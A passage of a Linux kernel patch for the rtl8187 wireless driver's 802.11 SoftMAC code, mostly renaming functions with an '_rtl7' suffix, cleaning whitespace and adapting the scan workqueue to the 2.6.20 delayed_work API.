*ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int 